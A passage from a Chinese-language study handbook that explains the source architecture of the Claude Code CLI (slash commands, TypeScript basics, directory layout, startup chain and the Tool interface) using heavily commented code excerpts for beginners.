| `/workflows` | 管理工作流脚本 | WORKFLOW_SCRIPTS |

### 交互增强类
| 指令 | 功能 | Feature Flag |
|------|------|-------------|
| `/buddy` | 启用 AI 伙伴桌面精灵 | BUDDY |
| `/voice` | 语音输入模式 | VOICE_MODE |
| `/force-snip` | 强制裁剪历史对话 | HISTORY_SNIP |
| `/force-compact` | 强制压缩上下文 | REACTIVE_COMPACT |

### 内部调试类（仅 ant 用户）
| 指令 | 功能 |
|------|------|
| `/ctx-viz` | 上下文可视化 |
| `/break-cache` | 清除所有缓存 |
| `/bridge-kick` | 强制断开 IDE 桥接 |
| `/ant-trace` | 开启详细遥测追踪 |
| `/perf-issue` | 生成性能分析报告 |
| `/heapdump` | 导出内存堆快照 |
| `/mock-limits` | 模拟 API 限制 |

# Claude Code 源码学习手册

# Claude Code 源码学习手册

> 源码版本：Claude Code v2.1.88（~51万行 TypeScript）
> 分析日期：2026-03-31
>
> 基于 Claude Code 2.1.88 源码（~51万行 TypeScript）的架构导读手册
> 目标读者：**有基础编程概念（知道什么是变量、函数、循环），但不熟悉 TypeScript**，想通过理解 Claude Code 源码来深入掌握 AI Agent 开发的人

---

## 你不需要精通 TypeScript，就能读懂这本书

你可能已经写过 Python、Java、Go 或者其他语言的代码，对变量、函数、循环这些基本概念不陌生。但 TypeScript 对你来说比较陌生，看着一堆类型声明和泛型有点发懵。你想通过 Claude Code 的源码搞明白一个完整的 AI Agent 是怎么搭起来的。

这本书就像一个资深工程师坐在你旁边，手把手带你走进 Claude Code 的代码库。不是甩给你一堆代码让你自己看，而是**每一行关键代码旁边都有中文注释，告诉你这行在干什么、为什么这么写**。

就算你从没写过 TypeScript——没关系。**第零章会把这些语言特有的概念过一遍**，重点讲类型系统、async/await、装饰器这些 TypeScript 特色，用的全是 Claude Code 里的真实代码做例子。学完那一章，你再往下看就不会迷路。

**每章的结构都是：**

1. **这解决什么问题** — 不用术语，一段话讲清楚
2. **架构图** — ASCII 或表格，让你一眼看到模块之间怎么配合
3. **代码走读** — 摘录真实代码，每行旁边都有注释，解释"在干什么"和"为什么这么写"
4. **和其他模块的关系** — 这块代码依赖谁、被谁依赖
5. **设计评价** — 好在哪，有什么可以改进
6. **开发范式提炼** — 你能直接抄走的写代码规范
7. **学习路径** — 如果你想深入这块技术，该看什么书、上什么课、怎么做练习

读的时候，建议打开 Claude Code 源码目录跟着看。代码路径以 `` 为根。看不懂某段代码？没关系，先跳过，看注释就够了。

**你可能会问：我真的一点代码基础都没有，也能看懂吗？**

能。这本书的每一行注释都假设你不懂技术。遇到专业术语第一次出现时会解释。如果你发现某个地方没解释清楚，说明我写得不够好，你可以跳过那个细节——不影响你理解整体架构。

---

# 第零章：编程基础速成

> 这一章是给"零基础读者"的。如果你已经会写代码，直接跳到第一章。  
> 所有例子都来自 Claude Code 的真实代码。

## 0.1 什么是 TypeScript

TypeScript 是 JavaScript 的"加强版"。JavaScript 是网页和很多应用背后的编程语言，但它有个毛病：变量的类型是自由的，你把一个数字放进变量，后面可能不小心又塞了文字进去，程序就出 bug 了。

TypeScript 在 JavaScript 基础上加了**类型检查**——你可以告诉编译器"这个变量只能放数字"，如果有人往里塞了文字，编译器会在你运行之前就报错。

**类比：** 想象你开了一家餐厅。JavaScript 就像不做分类的厨房——食材随便放，鱼和水果可能混在一起。TypeScript 像给每个容器贴了标签："这是鱼缸，只能放鱼"、"这是果篮，只能放水果"。贴了标签之后，放错了东西一眼就能看出来。

Claude Code 整个项目都是用 TypeScript 写的，有 51 万行。你在这本书里看到的每一段代码都是 TypeScript。

```typescript
// 这是一个 TypeScript 代码片段
// "string" 表示这个变量只能存文字（不能存数字）
const name: string = "Claude"

// "number" 表示这个变量只能存数字（不能存文字）
const version: number = 2.1

// 如果你写 name = 123，TypeScript 编译器会报错
// 因为 123 是数字，而 name 被规定只能存文字
```

**你可能会问：TypeScript 和 JavaScript 有什么区别？我需要学哪个？**

TypeScript 是 JavaScript 的超集——所有 JavaScript 代码在 TypeScript 里都能跑。TypeScript 多了类型检查，写起来更安全。学 TypeScript 就行，等于同时学了 JavaScript。

## 0.2 什么是 import

`import` 是"从别的文件里拿东西来用"的意思。一个大项目不可能把所有代码写在一个文件里——文件会太大，没法维护。所以代码会被拆成很多文件，每个文件负责一小块功能。`import` 就是从其他文件里把需要的东西拿过来。

**类比：** 你在厨房做饭。`import` 就像从冰箱里拿食材。你不用自己种菜，冰箱里已经有现成的。你只需要 `import { 鸡蛋 } from '冰箱'`，然后用它做菜就行。

```typescript
// 这行代码从 'commander' 这个"冰箱"里拿了 Commander 这个"食材"
// 'commander' 是一个外部依赖包（别人写好的工具库）
import { Command as CommanderCommand } from 'commander'

// 这行从项目内部的 './tools.js' 文件里拿了 getTools 这个"功能"
// './' 开头 = 项目内部文件（不是外部依赖）
import { getTools } from './tools.js'

// 为什么有的用引号包着路径，有的用 @ 开头？
// 引号里的路径 = 文件位置（相对路径或绝对路径）
// 没有路径的 = 外部依赖（需要先安装才能用，就像食材要先买回家）
```

**你可能会问：`import` 和"从网上下载"有什么区别？**

`import` 是在代码运行时，从已经装好的包或项目文件里拿东西。不是从网上下载——那些包在项目初始化时（`npm install`）就已经下载好了。

## 0.3 什么是函数

函数就是"一段可以反复使用的代码块"。你把一组操作打包成一个函数，给它起个名字，以后需要的时候直接叫这个名字就行。

**类比：** 函数就像菜谱。菜谱上写着"番茄炒蛋"的做法：打蛋、切番茄、热油、翻炒。你不用每次做菜都从头想步骤，只要看菜谱（调用函数）就行。

```typescript
// 这是一个函数：名叫 main，作用是启动 Claude Code
// "async" 表示这个函数里有异步操作（下一节解释）
// "Promise<void>" 表示这个函数执行完不返回值（只是做事）
async function main(): Promise<void> {
  // 1. 先拿到用户在命令行输入的参数
  // process.argv = 用户启动程序时输入的所有参数
  // slice(2) = 跳过前两个（node 路径和脚本路径），只留用户真正输入的
  const args = process.argv.slice(2)

  // 2. 如果用户输入了 --version，打印版本号然后结束
  if (args[0] === '--version') {
    console.log('2.1.88')  // 把版本号打印到屏幕上
    return  // "return" = 函数结束，不再往下执行
  }

  // 3. 如果不是 --version，那就启动完整的 Claude Code
  // "await import(...)" = 动态加载（用到的时候才加载，不用的不加载，省时间）
  const { main: cliMain } = await import('../main.js')
  await cliMain()  // 调用真正的主函数
}

// 调用这个函数 = 运行上面这段代码
main()
```

**关键概念：**
- `function` = 声明一个函数（写菜谱）
- `main()` = 调用这个函数（按菜谱做菜）
- `return` = 函数结束，返回结果（菜做好了，端出去）
- 参数（`args`）= 函数的输入（菜谱上写的"需要3个番茄"）

## 0.4 什么是异步（async/await）

同步代码是"一件做完再做下一件"。异步代码是"发出去一个任务，不等它完成，先做别的事，等任务完成了再回来处理结果"。

**类比：** 你在厨房做饭。同步方式：烧水，站在锅旁边等水开（啥也不干），水开了再切菜。异步方式：烧上水，趁等水开的时候去切菜，水开了（它会叫你）再去处理。异步就是"同时干多件事"的能力。

```typescript
// "async" 放在 function 前面，表示这个函数里有异步操作
async function loadData() {
  // "await" = 等待这个异步操作完成
  // fetch = 向某个网址发送请求（就像打开浏览器访问网页）
  // 在等的期间，程序可以去做别的事（比如更新界面）
  const response = await fetch('https://api.anthropic.com/v1/messages')

  // 只有当 fetch 完成后，才会执行下面这行
  // .json() = 把服务器返回的数据转换成 JavaScript 能用的对象
  const data = await response.json()

  return data  // 把数据返回给调用者
}
```

**在 Claude Code 里的典型用法：**

```typescript
// query.ts 的核心循环——这就是 Claude Code 的"心脏"
// "async function*" 表示这是一个"异步生成器"（可以一边产生结果一边返回）
async function* query(params) {
  // 1. 发送 API 请求给 Anthropic（异步，可能要等几秒才有响应）
  // 在等响应期间，程序不会卡住——UI 还能正常显示
  const streamResult = yield* deps.makeApiStream(...)

  // 2. 收到模型响应后，执行工具调用（也可能要等，比如执行 shell 命令）
  const toolResults = yield* runTools(toolUseBlocks, ...)

  // 3. 把结果加入消息列表，继续下一轮循环
  messages.push(...toolResults)
}
```

**你可能会问：为什么异步代码这么重要？**

因为 AI Agent 需要频繁调用 API（发消息给模型、执行工具），每次调用都要等网络响应。如果用同步方式，程序会卡住什么都不干。异步让程序在等 API 响应时还能处理其他事情（比如更新 UI、处理用户输入）。

## 0.5 什么是类型（Types）

类型就是"给数据分类"。TypeScript 里有很多种类型，每种类型代表一种"数据形状"。

**类比：** 餐厅菜单上的分类。"热菜"是一种类型——里面的菜都是热的，有名字、价格。"凉菜"是另一种类型——也是菜，但特点不同。类型系统就是在说："这个数据必须长这样，不能长那样。"

```typescript
// 基本类型——最简单的数据分类
const name: string = "Claude"       // string = 文字（一串字符）
const version: number = 2.1         // number = 数字
const isActive: boolean = true      // boolean = 真/假（是/否）

// 对象类型——把多个字段组合在一起，描述一个"东西"
type User = {
  name: string        // 必须有名字（文字类型）
  age: number         // 必须有年龄（数字类型）
  email?: string      // 可以有邮箱，也可以没有（? = 可选字段）
}

// 联合类型——值只能是其中一种
type Permission = 'allow' | 'deny' | 'ask'
// 意思是：Permission 类型的值只能是 'allow'、'deny' 或 'ask' 三选一
// 如果你写了 Permission x = '随便'，TypeScript 编译器会报错
```

**Claude Code 里的真实例子：**

```typescript
// PermissionResult 就是一个联合类型
// "权限结果"只可能是四种之一：允许、询问、拒绝、透传
// "discriminated union" = 用一个公共字段（behavior）来区分不同类型
type PermissionResult =
  | { behavior: 'allow'; updatedInput?: Input }     // 允许，并可能修改输入内容
  | { behavior: 'ask'; message: string }            // 询问用户的意见
  | { behavior: 'deny'; message: string }           // 拒绝，并告诉原因
  | { behavior: 'passthrough'; message: string }    // 透传给下一层检查

// 为什么这么设计？因为写代码的人必须处理所有四种情况
// TypeScript 编译器会检查：你有没有处理 'allow'？有没有处理 'deny'？
// 漏了一个就报错——这就防止了"忘记处理某种情况"的 bug
```

## 0.6 什么是 React

React 是一个用来构建用户界面的库。它用"组件"的方式组织界面——每个组件负责一小块 UI，组件可以嵌套组合。

**类比：** 拼乐高。每块乐高积木是一个"组件"——有的负责当墙壁，有的负责当窗户。你可以把小积木拼成大积木（组件嵌套组件），最后拼出一栋房子（完整界面）。

```typescript
// 这是一个 React 组件：名叫 ToolProgress
// 它负责渲染"工具执行中"的进度信息
// { messages: string[] } = 这个组件接收一个参数：消息列表（文字数组）
function ToolProgress({ messages }: { messages: string[] }) {
  // return 后面是这个组件"长什么样"（渲染什么内容）
  return (
    <div>
      {/* messages.map = 遍历每条消息，把它渲染成一个 <p> 标签 */}
      {/* key={msg} = React 需要每个列表项有个唯一标识，用来高效更新 */}
      {messages.map(msg => (
        <p key={msg}>{msg}</p>
      ))}
    </div>
  )
}

// 在别的地方使用这个组件，就像用 HTML 标签一样：
// <ToolProgress messages={["读取文件...", "分析代码..."]} />
```

**Claude Code 为什么用 React？**

因为 Claude Code 用一个叫 Ink 的库，把 React 渲染到了终端（命令行界面）里。也就是说，你在终端里看到的那些花花绿绿的输出，其实是 React 组件在渲染。React 不只是做网页的——它是一种组织界面代码的方式。

## 0.7 什么是 API

API 就是"应用程序之间的接口"。你的程序想从另一个服务拿数据或让它做事，就需要通过 API 发请求。

**类比：** 点外卖。你（你的程序）通过外卖 App（API）告诉餐厅（另一个服务）"我要一份宫保鸡丁"。餐厅做好后通过外卖 App 把菜送回来。你不需要知道餐厅的厨房长什么样、厨师怎么炒菜——你只需要知道"通过这个接口，我能点餐、能拿到菜"。

```typescript
// Claude Code 发送 API 请求给 Anthropic（就像你在外卖 App 下单）
const response = await fetch('https://api.anthropic.com/v1/messages', {
  method: 'POST',                             // POST = 发送数据（不是获取数据）
  headers: {                                  // 请求头 = "附带的证件和说明"
    'Content-Type': 'application/json',       // 告诉服务器："我发的数据是 JSON 格式"
    'x-api-key': apiKey,                      // API 密钥 = 你的"外卖会员卡号"
  },
  body: JSON.stringify({                      // body = 请求的具体内容
    model: 'claude-sonnet-4-20250514',        // 用哪个模型（选哪个"厨师"）
    messages: [{ role: 'user', content: '你好' }],  // 你说什么话
    tools: [...],                             // 告诉模型有哪些工具可以用
  }),
})

// response 就是"外卖送回来的菜"——模型的回复
const data = await response.json()
// data 里面包含了模型说了什么、用了什么工具等信息
```

**在 Claude Code 里的 API 调用流程：**

```
你的输入（"帮我读一下 main.ts"）
    ↓
Claude Code 把你的请求 + 工具列表打包成 API 请求（就像下单）
    ↓
发送给 Anthropic API（就像提交订单）
    ↓
模型思考，决定用 FileReadTool（厨师决定用什么做法）
    ↓
API 返回响应（"我要调用 FileReadTool"）（厨师说"我需要你先帮我拿食材"）
    ↓
Claude Code 执行 FileReadTool，读取文件（你帮厨师拿食材）
    ↓
把文件内容再发给 API（把食材给厨师）
    ↓
模型分析文件内容，给你回复（厨师做好菜，外卖送到你手上）
```

---

## 第零章小结

到这里你已经知道了：
- **TypeScript** = 带类型检查的编程语言（给容器贴标签的厨房）
- **import** = 从别的文件拿东西来用（从冰箱拿食材）
- **函数** = 一段可以反复使用的代码块（菜谱）
- **异步** = 同时干多件事的能力（烧水时去切菜）
- **类型** = 给数据分类（菜单上的热菜/凉菜）
- **React** = 用组件拼界面（拼乐高）
- **API** = 程序之间的接口（点外卖）

这些概念在后面的每一章都会反复出现。看不懂某一段代码的时候，回来翻这一章就行。

**学习路径：如果你想系统学编程基础**

1. **JavaScript 入门**：[JavaScript.info](https://javascript.info/)（免费，中文版也有），从头到尾过一遍，大概需要 2 周
2. **TypeScript 入门**：[TypeScript 官方手册](https://www.typescriptlang.org/docs/handbook/)，重点看"基础类型"和"接口"两章
3. **React 入门**：[React 官方教程](https://react.dev/learn)，做一遍井字棋教程就行
4. **动手练习**：用 Claude Code 写一个小工具——比如一个读取文件并统计字数的 CLI 工具。让它边写边给你解释代码，这就是最好的学习方式

**练习建议：** 打开 Claude Code，输入 `/init` 创建一个新项目，然后让它写一个 "Hello World" 程序。逐行让它解释代码在干什么。这就是 vibe coding 的开始。

---

# 第一章：项目整体结构

## 1.1 目录结构总览

Claude Code 的代码库有 46 个一级目录，50+ 个顶层文件。不是按"技术层"分的，而是按"业务能力"分的。

```

├── entrypoints/       # 入口：CLI、SDK、MCP 各种启动路径
├── main.tsx           # 主入口：参数解析、初始化、启动 REPL
├── tools.ts           # 工具注册中心：getTools() 汇集 40+ 个工具
├── Tool.ts            # 工具接口定义：Tool、ToolUseContext、buildTool()
├── query.ts           # 核心查询循环：异步生成器驱动 Agent 的主循环
├── QueryEngine.ts     # 查询引擎封装
├── tools/             # 40+ 个工具，每个工具一个目录
│   ├── BashTool/      # Shell 命令执行（最复杂的工具）
│   ├── FileReadTool/  # 文件读取
│   ├── AgentTool/     # 子 Agent（核心，233K）
│   ├── MCPTool/       # MCP 协议工具
│   └── ...            # 其他工具
├── state/             # 全局状态管理
│   ├── store.ts       # 自研 Store（createStore）
│   ├── AppStateStore.ts # AppState 类型定义
│   └── selectors.ts   # 状态选择器
├── types/             # 核心类型定义
│   ├── permissions.ts # 权限类型
│   ├── message.ts     # 消息类型
│   └── hooks.ts       # 钩子类型
├── screens/           # 屏幕级组件（REPL、Doctor）
├── components/        # UI 组件库
├── ink/               # 终端渲染层（React + Ink 的封装）
├── services/          # 后端服务
│   ├── mcp/           # MCP 客户端
│   ├── compact/       # 上下文压缩
│   ├── api/           # API 调用
│   ├── analytics/     # 埋点
│   └── plugins/       # 插件管理
├── bridge/            # 远程控制（Bridge）：WebSocket + 轮询
├── context.ts         # 系统上下文（git 信息等）
├── plugins/           # 插件系统
├── skills/            # Skill 系统
├── utils/             # 工具函数（最大目录，几十个文件）
├── commands/          # /斜杠命令
├── hooks/             # React hooks
├── coordinator/       # 协调器模式（多 Agent 协作）
├── server/            # HTTP/WebSocket 服务端
├── remote/            # 远程会话管理
├── schemas/           # Zod schema
├── bootstrap/         # 启动状态
├── migrations/        # 配置迁移
├── constants/         # 常量
├── cli/               # CLI 子命令处理
├── vim/               # Vim 集成
├── voice/             # 语音功能
├── tasks/             # 任务系统
└── ...其他
```

**目录职责：**

| 目录 | 职责 |
|------|------|
| `entrypoints/` | 各种启动入口（CLI、SDK、MCP） |
| `tools/` | 40+ 个工具的实现，每个工具独立目录 |
| `state/` | 全局状态管理，自研轻量 Store |
| `types/` | 核心类型定义，跨模块共享 |
| `services/` | 后端服务层（MCP、压缩、分析等） |
| `bridge/` | 远程控制 Bridge（WebSocket 轮询） |
| `ink/` | 终端 UI 渲染层 |
| `components/` | UI 组件库 |
| `screens/` | 屏幕级组件 |
| `plugins/` | 插件加载和管理 |
| `skills/` | Skill 系统（斜杠命令） |
| `utils/` | 通用工具函数 |
| `commands/` | /斜杠命令注册 |
| `coordinator/` | 多 Agent 协调器 |
| `server/` | HTTP/WS 服务端 |
| `remote/` | 远程会话管理 |
| `bootstrap/` | 启动状态管理 |
| `migrations/` | 配置迁移逻辑 |

## 1.2 文件组织规范

### 工具目录的标准结构

每个工具都是一个独立目录，内部遵循一致的文件命名约定。以 `BashTool/` 为例：

```
tools/BashTool/
├── BashTool.tsx         # 主实现：Tool 接口的 call、checkPermissions 等
├── bashPermissions.ts   # 权限检查逻辑
├── bashSecurity.ts      # 安全分析（AST 解析、命令分类）
├── prompt.ts            # 工具描述（给模型看的 prompt）
├── UI.tsx               # 终端渲染（React 组件）
├── toolName.ts          # 工具名称常量
├── utils.ts             # 工具专用工具函数
├── commandSemantics.ts  # 命令语义分析
├── sedEditParser.ts     # sed 编辑解析
└── ...其他辅助文件
```

**每个文件的职责非常明确：**

| 文件 | 职责 | 谁读它 |
|------|------|--------|
| `prompt.ts` | 工具的文本描述，定义给模型看的 prompt | 系统提示词组装 |
| `BashTool.tsx` | 工具的核心实现：call、validate、checkPermissions | query.ts 调用 |
| `UI.tsx` | 终端渲染：renderToolUseMessage、renderToolResultMessage | REPL 渲染 |
| `toolName.ts` | 工具名常量（如 `BASH_TOOL_NAME = 'Bash'`） | 避免循环依赖 |
| `bashPermissions.ts` | 权限检查：哪些命令允许、哪些拒绝 | BashTool.tsx |
| `bashSecurity.ts` | 安全分析：AST 解析、命令分类 | bashPermissions.ts |
| `utils.ts` | 工具内部的辅助函数 | BashTool.tsx |

**为什么这么组织？三个好处：**

1. **关注点分离**：权限逻辑和工具逻辑分开，改权限不影响工具，改安全分析不影响 UI
2. **文件大小可控**：BashTool 相关代码可能有 3000+ 行，拆成 10+ 个文件后每个文件几百行
3. **循环依赖管理**：`toolName.ts` 只导出常量字符串，避免了 A → B → A 的 import 循环

### FileReadTool 的结构（简单工具）

```
tools/FileReadTool/
├── FileReadTool.ts    # 主实现
├── prompt.ts          # 工具描述
├── UI.tsx             # 渲染
├── imageProcessor.ts  # 图片处理
└── limits.ts          # 读取限制
```

只有 5 个文件，因为读文件的操作相对简单。工具的复杂度直接体现在目录内的文件数量上。

## 1.3 入口文件链

Claude Code 的启动不是"一个 main 函数搞定"的。它分了很多层，每一层做不同的事。

### 启动链路图

```
cli.tsx (入口)
  │  ├── 检查 --version / --dump-system-prompt 等快速路径
  │  ├── 检查 bridge / daemon / bg 等子命令快速路径
  │  └── 最终：import main.tsx
  ▼
main.tsx (主逻辑)
  │  ├── 参数解析（Commander.js）
  │  ├── init() 初始化
  │  ├── setup() 工作目录、权限上下文
  │  ├── 工具加载、MCP 连接
  │  ├── 信任对话框（showSetupScreens）
  │  └── 分发：交互模式 → launchRepl / headless → runHeadless
  ▼
replLauncher.tsx → interactiveHelpers.tsx → screens/REPL.tsx
  │  ├── 创建 Ink root
  │  ├── 渲染 REPL 组件
  │  └── 等待用户输入
  ▼
query.ts (查询循环)
  │  ├── 异步生成器：query() → queryLoop()
  │  ├── 发送 API 请求
  │  ├── 接收流式响应
  │  ├── 执行工具调用
  │  └── 循环直到 Stop turn
```

### cli.tsx：极简入口

```typescript
// cli.tsx 的核心逻辑：优先处理快速路径
// 整个文件只有一个职责：根据用户输入的参数，决定走哪条路
async function main(): Promise<void> {
  // process.argv = 用户启动程序时输入的所有参数
  // slice(2) = 跳过前两个（node 可执行文件路径 + 脚本文件路径），只留用户真正输入的参数
  const args = process.argv.slice(2)

  // 快速路径 1：用户输入了 --version 或 -v
  // args.length === 1 且第一个参数是版本号标志 → 直接打印版本号，不需要加载任何其他模块
  // 这就是为什么 Claude Code 的 --version 非常快——它根本不加载 React、工具、API 等任何东西
  if (args.length === 1 && (args[0] === '--version' || args[0] === '-v')) {
    // MACRO.VERSION 是构建时注入的版本号字符串（不是运行时读取的）
    console.log(`${MACRO.VERSION} (Claude Code)`)
    return  // 结束函数，不往下执行
  }

  // 快速路径 2：各种子命令，每个子命令对应一个独立的入口
  // remote-control = 远程控制桥接（通过 WebSocket 控制 Claude Code）
  if (args[0] === 'remote-control') { /* bridgeMain() */ return }
  // daemon = 后台守护进程模式
  if (args[0] === 'daemon') { /* daemonMain() */ return }
  // ps/attach = 查看/附加到后台运行的 Claude Code 进程
  if (args[0] === 'ps' || args[0] === 'attach') { /* bg.js */ return }

  // 默认路径：以上都不匹配 → 加载完整的 CLI（这才是大多数人用 Claude Code 的方式）
  // "await import(...)" = 动态导入：只有走到这一步才加载 main.js（几千行代码）
  // 如果用户只是输入 --version，这些代码根本不会被加载 → 启动极快
  const { main: cliMain } = await import('../main.js')
  await cliMain()  // 调用 main.tsx 里的 main() 函数
}
```

**设计要点：** 所有 import 都是动态的（`await import()`）。这样 `--version` 路径不需要加载任何模块，启动速度极快。你可能会问：为什么要这么小心？因为 Claude Code 的 main.js 有 4600+ 行，如果每次启动都要加载，`--version` 就会慢好几秒。这种"按需加载"的思路在大型项目里很常见。

### main.tsx：真正的主逻辑

main.tsx 有 **4600+ 行**，是整个代码库最核心的文件。它做了以下几件事：

```typescript
// main.tsx 的核心流程（简化版）
// 这个函数是 Claude Code 的"总指挥"——串联所有初始化步骤
export async function main() {
  // 1. 参数解析：用 Commander.js 库来解析命令行参数
  // CommanderCommand 是一个第三方库，帮你定义 --xxx 选项和对应的处理逻辑
  const program = new CommanderCommand()
    .option('-p, --print', '...')        // -p 或 --print：非交互模式，直接打印结果
    .option('--model <model>', '...')     // --model：指定使用的 AI 模型
    // ... 实际有 50+ 个选项，这只是示意

  // 2. preAction 钩子：在真正执行命令之前，先做初始化
  // "钩子" = 在某个动作发生前后自动执行的代码
  // preAction = 在用户真正开始用 Claude Code 之前执行
  program.hook('preAction', async () => {
    await init()                    // 初始化：读取配置文件、检查认证 token
    runMigrations()                 // 配置迁移：如果用户从旧版本升级，自动迁移配置格式
    loadRemoteManagedSettings()     // 企业设置：公司管理员可能统一推送了配置
  })

  // 3. 主 action：这是真正开始工作的地方
  // "action" = Commander.js 在解析完参数后调用的函数
  // prompt = 用户在命令行直接输入的文字（如 claude "帮我改bug"）
  // options = 解析后的所有选项（如 --model claude-sonnet）
  program.action(async (prompt, options) => {
    // 3a. 加载工具列表：getTools() 返回所有可用工具（Bash、文件读写、搜索等）
    // toolPermissionContext = 权限上下文，决定哪些工具可用、哪些被禁用
    const tools = getTools(toolPermissionContext)

    // 3b. 执行 setup：设置工作目录、权限模式、信任检查等
    // 同样用动态导入（await import），不用的模块不加载
    const { setup } = await import('./setup.js')
    await setup(cwd, permissionMode, ...)

    // 3c. 根据模式分发：是交互式（你在终端里打字）还是 headless（脚本调用）
    if (isNonInteractiveSession) {
      // headless 模式：没有交互界面，适合 CI/CD 或脚本调用
      // 比如：claude "帮我生成README" --print > README.md
      const { runHeadless } = await import('src/cli/print.js')
      await runHeadless(inputPrompt, ...)
    } else {
      // 交互模式：这就是你平时用 Claude Code 的方式——在终端里打字对话
      // createRoot = 创建 Ink（终端 React）的根节点
      // launchRepl = 启动交互循环（读取你的输入 → 调用模型 → 显示结果）
      const root = await createRoot(renderOptions)
      await launchRepl(root, { ... }, sessionConfig, renderAndRun)
    }
  })

  // 最后一步：让 Commander.js 解析命令行参数，然后调用上面定义的 action
  await program.parseAsync(process.argv)
}
```

**为什么分这么多层？**

1. **cli.tsx 只做路由**：它检查参数，决定走哪个快速路径。所有 import 都是动态的，不走的路径不会加载代码
2. **main.tsx 做编排**：它串联初始化、工具加载、MCP 连接、权限检查等步骤
3. **REPL.tsx 做交互**：它管理用户输入、消息渲染、键盘事件
4. **query.ts 做执行**：它是真正的 Agent 循环——发请求、收响应、执行工具、循环

这种分层让每个文件有单一职责，也让快速路径（`--version`、`daemon`）的启动时间降到最低。

**学习路径：如果你想深入理解项目结构和启动流程**

1. **Commander.js**：Claude Code 用它解析命令行参数。[Commander.js 官方文档](https://github.com/tj/commander.js)，花 1 小时看 Readme 就够了，它的 API 很直觉
2. **Node.js 模块系统**：理解 `import` / `require` / 动态导入的区别。推荐 [Node.js 官方文档 - Modules](https://nodejs.org/api/esm.html)
3. **关注点分离原则**：每个文件只做一件事。这是所有好项目的共同特征。推荐读《代码整洁之道》前三章
4. **练习建议**：打开 Claude Code 的 `entrypoints/cli.tsx` 文件，试着理解每一行在干什么。然后用 Claude Code 让它帮你写一个简化版的 CLI 入口——只实现 `--version` 和默认启动两个路径。这就是把学到的东西变成自己能力的过程

---

# 第二章：类型系统设计

## 2.1 核心类型定义

Claude Code 的类型系统是整个架构的骨架。三个核心类型文件定义了系统的边界。

### Tool 类型（Tool.ts）

`Tool` 接口是 Claude Code 中**最重要的类型**。所有 40+ 个工具都必须实现这个接口。

```typescript
// Tool 类型定义：所有 40+ 个工具都必须"长得像"这样
// 这就像一个"接口合同"——每个工具承诺"我有这些属性和方法"
// Input = 这个工具接收什么参数（比如 FileReadTool 接收文件路径）
// Output = 这个工具返回什么结果（比如 FileReadTool 返回文件内容）
// P = 进度数据的类型（工具执行中可以报告进度）
export type Tool<
  Input extends AnyObject = AnyObject,   // 输入参数的类型（默认任意对象）
  Output = unknown,                       // 输出结果的类型（默认未知）
  P extends ToolProgressData = ToolProgressData,  // 进度数据类型
> = {
  // ========== 基本信息 ==========

  // readonly = 只读，赋值后不能再改（工具名叫什么就叫什么，不能中途改名）
  readonly name: string
  // 别名：如果工具改了名，旧名字还能用（向后兼容）
  // 比如原来的 'cat' 改成 'read'，但老用户可能还在用 'cat'
  aliases?: string[]
  // 搜索提示：当用户搜索工具时，用这些关键词匹配
  searchHint?: string

  // ========== 核心方法 ==========

  // call() = 工具的"执行函数"——模型说"我要用这个工具"时，call() 被调用
  // args = 模型传入的参数（比如文件路径）
  // context = 执行上下文（当前会话配置、权限等）
  // canUseTool = 权限检查函数（问"这个操作允许执行吗？"）
  // parentMessage = 调用这个工具的那条 AI 消息
  // onProgress = 进度回调（执行中可以报告"正在处理..."）
  call(
    args: z.infer<Input>,        // z.infer<Input> = 从 Zod schema 推导出 TypeScript 类型
    context: ToolUseContext,      // 执行上下文（配置、权限、状态）
    canUseTool: CanUseToolFn,    // 权限检查回调
    parentMessage: AssistantMessage,  // 触发这次工具调用的 AI 消息
    onProgress?: ToolCallProgress<P>,  // 可选的进度报告回调
  ): Promise<ToolResult<Output>>  // 返回工具执行结果（异步）

  // description() = 告诉模型"这个工具是干什么的"
  // 为什么是异步的？因为有些工具的描述需要读文件系统（比如 BashTool 需要知道沙箱配置）
  description(
    input: z.infer<Input>,       // 用户可能传入的参数
    options: {
      isNonInteractiveSession: boolean  // 是否非交互模式（影响描述的详细程度）
      toolPermissionContext: ToolPermissionContext  // 当前权限配置
      tools: Tools              // 其他可用工具（某些工具描述会引用其他工具）
    },
  ): Promise<string>             // 返回一段描述文字

  // ========== Schema（数据格式定义）==========

  // inputSchema = 用 Zod 定义这个工具接受什么参数
  // 为什么用 Zod 不用 interface？因为同一份 schema 可以同时做：
  //   1. TypeScript 类型检查（写代码时）
  //   2. 运行时验证（执行时检查参数对不对）
  //   3. 生成 JSON Schema 给 API（告诉模型这个工具的参数格式）
  readonly inputSchema: Input
  outputSchema?: z.ZodType<unknown>  // 可选：输出数据的格式

  // ========== 行为标记（告诉系统这个工具的特性）==========

  // isConcurrencySafe = "这个工具能和其他工具同时跑吗？"
  // 比如"读文件"是安全的（同时读两个文件没问题）
  // 但"执行 shell 命令"不安全（两个命令同时跑可能互相干扰）
  isConcurrencySafe(input: z.infer<Input>): boolean

  // isEnabled = "这个工具现在可用吗？"（有些工具可能被配置关闭）
  isEnabled(): boolean

  // isReadOnly = "这个工具只读数据，不修改任何东西吗？"
  // 只读工具在某些权限模式下可以自动放行
  isReadOnly(input: z.infer<Input>): boolean

  // isDestructive = "这个工具可能造成不可逆的操作吗？"（比如删除文件）
  isDestructive?(input: z.infer<Input>): boolean

  // ========== 权限 ==========

  // checkPermissions = "给定这些参数，允许执行吗？"
  // 返回 allow（允许）、deny（拒绝）、ask（询问用户）之一
  checkPermissions(
    input: z.infer<Input>,
    context: ToolUseContext,
  ): Promise<PermissionResult>

  // ========== Prompt（给模型看的工具描述）==========

  // prompt() = 生成给 AI 模型看的工具说明
  // 和 description() 不同：description 是简要描述，prompt 是完整说明
  // 模型读了 prompt 才知道"这个工具怎么用、参数怎么填"
  prompt(options: {
    getToolPermissionContext: () => Promise<ToolPermissionContext>
    tools: Tools
    agents: AgentDefinition[]
  }): Promise<string>

  // ========== UI 渲染（控制工具在终端里的显示效果）==========

  // userFacingName = 工具在用户面前显示的名字（可能和 name 不同）
  userFacingName(input: Partial<z.infer<Input>> | undefined): string

  // renderToolUseMessage = 渲染"模型正在使用这个工具"的消息
  // 比如 FileReadTool 会显示 "📖 Reading file: main.ts"
  renderToolUseMessage(input, options): React.ReactNode

  // renderToolResultMessage = 渲染工具执行结果
  // 比如 FileReadTool 会显示文件内容（带行号）
  renderToolResultMessage(content, progressMessages, options): React.ReactNode

  // 以下三个是可选的渲染方法
  renderToolUseProgressMessage?(progressMessages, options): React.ReactNode  // 执行中的进度
  renderToolUseRejectedMessage?(input, options): React.ReactNode  // 用户拒绝执行时的显示
  renderToolUseErrorMessage?(result, options): React.ReactNode  // 执行出错时的显示

